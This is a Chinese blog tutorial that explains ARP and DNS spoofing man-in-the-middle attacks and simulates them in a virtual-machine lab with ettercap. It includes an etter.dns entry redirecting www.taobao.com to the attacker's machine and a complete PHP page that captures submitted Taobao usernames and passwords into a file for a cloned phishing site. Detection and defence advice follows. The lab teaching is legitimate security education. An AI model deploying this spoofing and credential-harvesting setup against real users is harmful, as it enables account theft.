网络安全基础（中间人攻击、ARP欺骗、NDS欺骗、使用ettercap软件模拟攻击）

最新推荐文章于 2024-05-07 18:10:50 发布
最新推荐文章于 2024-05-07 18:10:50 发布
阅读量3.9k 收藏 34
点赞数 3
分类专栏： 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_45677119/article/details/109995141
版权

文章目录

网络安全基础

一、中间人攻击

1. ARP欺骗

1. 概述

中间人攻击（Man-in-the-MiddleAttack，简称“MITM攻击”）是一种“间接”的入侵攻击，这种攻击模式是通过各种技术手段将受入侵者控制的一台计算机虚拟放置在网络连接中的两台通信计算机之间，这台计算机就称为“中间人”。

2. 攻击原理

利用ARP协议漏洞进行的攻击—ARP欺骗；

在这里插入图片描述

  1. PC1给PC3发送数据：网络层（IP包）
    10.1.1.1 10.1.1.3 端口号 Hello,PC3 (源IP地址 目标IP 源端口号 目标端口号 数据)；
  2. 到数据链路层后：数据帧包
    __ AA 10.1.1.1 10.1.1.3 端口号 Hello,PC3 (目标MAC地址[PC3的未知] 源MAC地址 源IP地址 目标IP 源端口号 目标端口号 数据)；
  3. ARP协议出现
    “我是10.1.1.1，我的MAC地址为AA，谁是10.1.1.3，你的MAC地址是什么呀？”ARP协议发送广播MAC地址（FF-FF-…12个F）：FF AA 10.1.1.1 10.1.1.3 端口号 Hello,PC3；
  4. 该网卡上的所有主机都收到这个广播，PC2会丢弃这个包；PC3收到包后会单播应答它，CC AA 10.1.1.1 10.1.1.3 端口号 Hello,PC1，并通过交换机查询MAC地址表，将响应包传递给PC1，PC1会在第一时间建立一个ARP缓存表：10.1.1.3 CC；
  5. 漏洞出现：ARP缓存表遵循的规则是谁后到达就学习谁，由于ARP没有验证功能，所以PC2使用攻击工具不停发送虚假的ARP应答，PC1的ARP缓存表就会变成了10.1.1.3 BB；
  6. 从此PC1发送数据就要先经过PC2，（BB AA 10.1.1.1 10.1.1.3 端口号 数据），PC2通过工具解包获取数据后再修改目标MAC地址（CC AA 10.1.1.1 10.1.1.3 端口号 数据），然后转发给PC3，完成攻击。
3. 模拟攻击
  1. 环境：三台虚拟机
    windowsXP（客户机）、windows2003（模拟WEB或FTP服务器）、Kali（模拟中间机）
  2. 网络拓扑图

在这里插入图片描述

  1. 配置IP地址
kali的：ifconfig eth0 10.1.1.2/24

在这里插入图片描述

  1. 在win 2003上关闭ftp匿名访问并新增一个用户test供win xp使用

在这里插入图片描述
在这里插入图片描述
win xp 测试：

在这里插入图片描述

  1. 使用kali的EtterCap工具
    EtterCap是一个基于ARP地址欺骗方式的网络嗅探工具，主要适用于交换局域网络。借助于EtterCap嗅探软件，渗透测试人员可以检测网络内明文数据通讯的安全性，及时采取措施，避免敏感的用户名/密码等数据以明文的方式进行传输。

选择网卡：eth0

在这里插入图片描述

扫描hosts：

在这里插入图片描述

添加target1/2：

在这里插入图片描述

选择ARP poisoning进行攻击：

在这里插入图片描述
在这里插入图片描述

  1. 测试ftp连接，此时EtterCap已经截获用户名密码，但不影响它俩通信

在这里插入图片描述

我们查看arp缓存表：可以看到攻击者的IP地址

在这里插入图片描述

4. 检测与防御

- 检测

1、网络频繁掉线
2、网速突然变慢
3、使用arp -a命令查看的网关mac地址与真实的网关mac地址不同
4、使用嗅探软件发现局域网内存在大量arp应答包

- 防御

1、绑定mac地址
2、使用静态arp缓存表
3、使用arp服务器，通过服务器来查找arp转换表来响应其他机器的广播
4、使用arp欺骗防护软件

2. DNS欺骗

1. 概述

DNS欺骗就是攻击者冒充域名服务器的一种欺骗行为。 如果可以冒充域名服务器，然后把查询的IP地址设为攻击者的IP地址，这样的话，用户上网就只能看到攻击者的主页，而不是用户想要取得的网站的主页了，这就是DNS欺骗的基本原理。DNS欺骗其实并不是真的“黑掉”了对方的网站，而是冒名顶替。

2. 攻击原理

正常通过域名访问www.baidu.com网站：

在这里插入图片描述

中间人攻击–>DNS欺骗：

在这里插入图片描述

3. 模拟攻击
  1. windows XP：受害者、Kali：攻击者、windows 2003：模拟taobao服务器/DNS服务器

在这里插入图片描述

  1. 配置IP
  2. 搭建DNS服务器

在这里插入图片描述
在这里插入图片描述

  1. 搭建模拟taoobao服务器

搭建网站：

在这里插入图片描述

win xp上测试访问，配置DNS服务器地址（10.1.1.3）

在这里插入图片描述

  1. 搭建攻击者–>Kali

1）配置ettercap的dns缓存

# 进入目录
vim /etc/ettercap/etter.dns
# 删除解析记录

# 编写解析文件
www.taobao.com A 10.1.1.2 (正向解析)
www.taobao.com PTR 10.1.1.2(反向解析)
或：
* A 10.1.1.2
* PTR 10.1.1.2

在这里插入图片描述

2）开启apache服务：systemctl start apache2，查看：netstat -antpl

在这里插入图片描述

3）搭建虚假taobao网站：

添加用于获取用户及密码的php页面：error.php

找到登录页面的用户名和密码的name字段：username和password，将该字段用于php代码中：

<?php

 $nam = stripslashes($_POST['username']);
 $pas = stripslashes($_POST['password']);

 $content = "你已经捕获淘宝账号及密码：" . " 用户名 " . $nam . " 密码 " . $pas;
 $filed = @fopen("1.txt","a+");
         @fwrite($filed,"$content\n");

?>

<html>
<head>
	<script type="text/javascript">
                       function goBack()
	       {
                              window.history.back()  //后退+刷新
	       }
	</script>
</head>
<body onload="goBack()">
</html>

将获取的账户及密码保存追加在1.txt文件中。

修改登录页面的action字段，使登录跳转到你的error.php页面：

<form method="post" action="error.php">

4）配置钓鱼网站
cd /var/www/html，删除里面的默认网站：rm rf *

在这里插入图片描述

拷贝文件：cp -r /root/桌面/taobao/* ./

修改1.txt文件的权限（让文件拥有读写权限）：chmod 777 1.txt

在这里插入图片描述

开启ettercap软件：

开启 ARP投毒，开启dns_spoof：

在这里插入图片描述

清空客户机的本地dns缓存：ipconfig /flushdns

在这里插入图片描述

再次访问：www.taobao.com，并登录，我们可以发现客户还是使用域名www.taobao.com访问网站（但却毫无知觉的进入了钓鱼网站），而且攻击者已经获得了用户密码和用户名：

在这里插入图片描述

在这里插入图片描述

4. 网站钓鱼

钓鱼者运用社会工程学（Social Engineering）知识诱骗受害者，以在未授权情况下获取对方的姓名、年龄、邮箱账号，甚至是银行卡密码等私人信息。钓鱼往往和社会工程学相结合进行诱导，而社会工程学是hacker的内功，能否灵活运用可以体现一个hacker的个人修为，所以说“防人之心不可无”这句话并非没有道理，凡事不要害人但是总要留个心眼，否则最终受伤的就是自己。

社会工程学hacker常用伎俩：

  • 电话号码欺骗
  • 利用坏消息作案
  • 垃圾邮件诱骗
  • 滥用网民对社交网络的信任
  • 二维码引诱
  • 恶意APP劫持
Tigirs
关注
  • 3
    点赞
  • 踩
  • 34
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
专栏目录
网络安全中中间人攻击是什么？如何防御？
oldboyedu1的博客
11-08 276
不仅仅是您的WiFi密码，还有您的路由器登录凭据。如果攻击者发现您的路由器登录凭据，他们可以将您的DNS服务器更改为他们的恶意服务器。攻击发生在两个合法通信的主机之间，允许攻击者监听他们通常无法监听的对话，因此被称为中间人。基于公钥对的身份验证可以在堆栈的各个层中使用，以帮助确保您正在通信的对象是否确实是您想要与之通信的对象。
中间人攻击_Ettercap
分享学习网络的点点滴滴
09-22 849
统一的中间人攻击工具转发MAC与本机相同，但IP与本机不同的数据包支持SSH1\SSL中间人攻击。
一文带你了解中间人攻击MITM，从此不做网络的“傀儡”！
最新发布
网络技术联盟站
05-07 409
中间人攻击是一种严重的网络安全威胁，但通过采取适当的预防措施和安全策略，个人和组织可以有效地保护自己免受此类攻击的影响。加强安全意识教育、使用加密通信、谨慎使用公共网络等措施可以帮助我们更好地抵御中间人攻击的威胁，确保网络通信的安全和隐私。
Kali利用Ettercap实现中间人攻击之DNS劫持（DNS欺骗）
m0_46745664的博客
08-11 4538
局域网内进行DNS劫持（DNS欺骗）
Ettercap 实施中间人攻击
CSDN
04-01 5440
中间人攻击(MITM)该攻击很早就成为了黑客常用的一种古老的攻击手段,并且一直到如今还具有极大的扩展空间,MITM攻击的使用是很广泛的,曾经猖獗一时的SMB会话劫持、DNS欺骗等技术都是典型的MITM攻击手段.在黑客技术越来越多的运用于以获取经济利益为目标的情况下时,MITM攻击成为对网银、网游、网上交易等最有威胁并且最具破坏性的一种攻击方式.
ARP欺骗原理及实现
Naive的博客
04-06 6944
ARP 协议的缺陷在于缺乏验证机制。当主机接收到 ARP 数据包时，不会进行任何认证就刷新自己的 ARP 高速缓存。利用这一点可以实现 ARP 欺骗，造成 ARP 缓存中毒。所谓 ARP 缓存中毒，就是主机将错误的IP地址和MAC地址的映射信息记录在自己的ARP高速缓存中
中间人攻击之arp欺骗
m0_59598029的博客
08-11 839
中间人攻击（Man-in-the-MiddleAttack，简称“MITM攻击”）是一种“间接”的入侵攻击，这种攻击模式是通过各种技术手段将受入侵者控制的一台计算机虚拟放置在网络连接中的两台通信计算机之间，这台计算机就称为“中间人”地址解析协议，即ARP（Address ResolutionProtocol），是根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到局域网络上的所有主机，并接收返回消息，以此确定目标的物理地址；
ensp加kali实现arp欺骗攻击
04-21
本文将深入探讨如何使用Kali Linux这一专业安全操作系统，配合ENSPI（Ethernet Network Simulation Platform，以太网网络模拟平台）来实现ARP欺骗攻击，并了解这种攻击可能导致的后果。 首先，我们需要理解ARP的...
arp欺骗,抓取web和ftp用户名和密码-ettercap-运维安全详细笔记
06-30
ettercap是一个网络嗅探和中间人攻击工具，可以用来进行arp欺骗攻击。ettercap可以嗅探网络流量，截取数据包，并对其进行分析和修改。使用ettercap，可以轻松地进行arp欺骗攻击，并抓取用户名和密码。 实验案例： ...
arp中间人攻击无ssl解密报文
04-06
使用ettercap抓到的未解密的ssl报文，详情见博客https://blog.csdn.net/redwand/article/details/105339933
arp欺骗原理实验
05-06
ARP欺骗原理实验是一种网络安全技术实践，它涉及到网络通信的基础知识，特别是局域网（LAN）内的地址解析协议（ARP）。ARP是TCP/IP协议栈的一部分，它的主要任务是将网络层的IP地址转换为数据链路层的物理MAC地址，...
ARP欺骗的原理与模拟
06-07
4. 定期更新网络安全软件和补丁，防止攻击者利用漏洞实施ARP欺骗。 总的来说，ARP欺骗是一种严重的网络安全威胁，理解和防范ARP欺骗对于保护个人和组织的信息安全至关重要。通过模拟实验，我们可以更好地理解这种...
【每天学习一点新知识】中间人攻击是什么
RexHa的博客
10-30 2542
中间人攻击(man-in-the-middle attack, abbreviated to MITM)，顾名思义，就是攻击者躲在通信双方之间，窃听甚至篡改通信信息，而这个攻击是不可见的，通信双方并不知道消息已经被截获甚至篡改了。
[网络安全]中间人攻击
神隐寻觅的博客
12-08 5151
中间人攻击 中间人攻击（Man-in-the-MiddleAttack，简称“MITM攻击”）是一种“间接”的入侵攻击，这种攻击模式是通过各种技术手段将受入侵者控制的一台计算机虚拟放置在网络连接中的两台通信计算机之间，这台计算机就称为“中间人”。 中间人攻击主要有会话劫持、DNS欺骗两种 一、会话劫持 会话劫持利用了TCP/IP工作原理来设计攻击。TCP会话劫持的攻击方式可以对基于TCP的任何应用发起攻击，如HTTP、FTP、Telnet等。 实现流程 对于攻击者来说，所必须要做的就是窥探到正在进行
ARP欺骗断网攻击与中间人欺骗攻击详解
ghtwf01的博客
12-01 3237
ARP协议 地址解析协议，即ARP（Address Resolution Protocol），是根据IP地址获取物理地址的一个TCP/IP协议。 ARP欺骗的局限性 只能攻击同一局域网下的主机 需要用到的工具 kali linux下的arpsproof和driftnet以及wireshark ARP欺骗原理 ARP欺骗有两种攻击利用方式 1.ARP欺骗断网攻击 攻击者欺骗受害主机，发送数据告诉受害主机说我是网关，然后受害主机会将攻击主机当作网关进行数据传输，这样就会导致受害主机无法正常上网。 2.ARP中间
【网络安全】——中间人攻击
A1_3_9_7的博客
01-09 3199
中间人攻击（Man-in-the-Middle Attack，简称MITM），是一种会话劫持攻击。攻击者作为中间人，劫持通信双方会话并操纵通信过程，而通信双方并不知情，从而达到窃取信息或冒充访问的目的。中间人攻击是一个统称，具体的攻击方式有很多种，例如Wi-Fi仿冒、邮件劫持、DNS欺骗、SSL劫持等。中间人攻击常用于窃取用户登录凭据、电子邮件和银行账户等个人信息，是对网银、网游、网上交易等在线系统极具破坏性的一种攻击方式。
ARP欺骗、DNS攻击与无线内网渗透
Dagger_S的博客
08-21 695
本文包含无线内网的密码暴力破解、内网arp欺骗与监听、DNS欺骗攻击。
网络安全：中间人攻击详解，保护你的数据安全！
m0_72410588的博客
08-26 1076
中间人攻击是指黑客通过篡改或监听通信流量，在通信双方之间插入自己的设备或软件，从而实现窃取敏感信息或篡改通信内容的攻击行为。与其他攻击方式相比，中间人攻击具有隐蔽性高、风险低的特点，因此被广泛应用于各类网络环境中。中间人攻击威胁着我们的个人信息安全和网络通信的顺畅性。在数字化时代，我们应该重视网络安全，采取正确的预防措施，保护自己的数据安全。只有通过加强网络安全意识，共同构建安全可信的网络环境，我们才能更好地享受数字科技带来的便利与乐趣。
ARP欺骗、ICMP重定向、DNS欺骗对比
微醺半夏的博客
06-05 876
ARP欺骗、ICMP重定向、DNS欺骗对比 攻击成因 利用方法 攻击效果 攻击限制 ARP 欺骗 利用ARP协议的无状态性，通过捏造不存在的MAC地址更新操作系统ARP路 由缓存表。 发送伪造的发送者MAC地址的ARP请求。或者发送伪造的发送者MAC地址的ARP应答，使被攻击主机自动更新其AR...
kali arp欺骗中间人攻击
08-30
中间人攻击是一种网络安全攻击技术，其中攻击者将自己置于通信的两个实体之间，以窃取或篡改通信内容。Kali Linux是一个流行的渗透测试和安全评估操作系统，它提供了各种工具来执行各种网络攻击，包括中间人攻击。 在Kali Linux中，使用ARP欺骗（Address Resolution Protocol spoofing）是一种常见的中间人攻击技术。ARP欺骗利用了网络中的ARP协议漏洞，通过发送虚假的ARP响应来欺骗目标设备，将其流量转发到攻击者控制的中间设备上。 要在Kali Linux中执行ARP欺骗中间人攻击，通常使用工具如Ettercap、Bettercap和arpspoof等。这些工具可用于欺骗目标设备，并将其流量通过攻击者的设备进行转发。然后，攻击者可以监视、篡改或窃取目标设备之间的通信。 需要注意的是，中间人攻击是非法的，除非你拥有合法的授权，并只在合法的测试环境中使用。滥用此类攻击技术可能会导致法律后果。请在遵循适用法律和道德规范的前提下，保持网络的安全和隐私。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值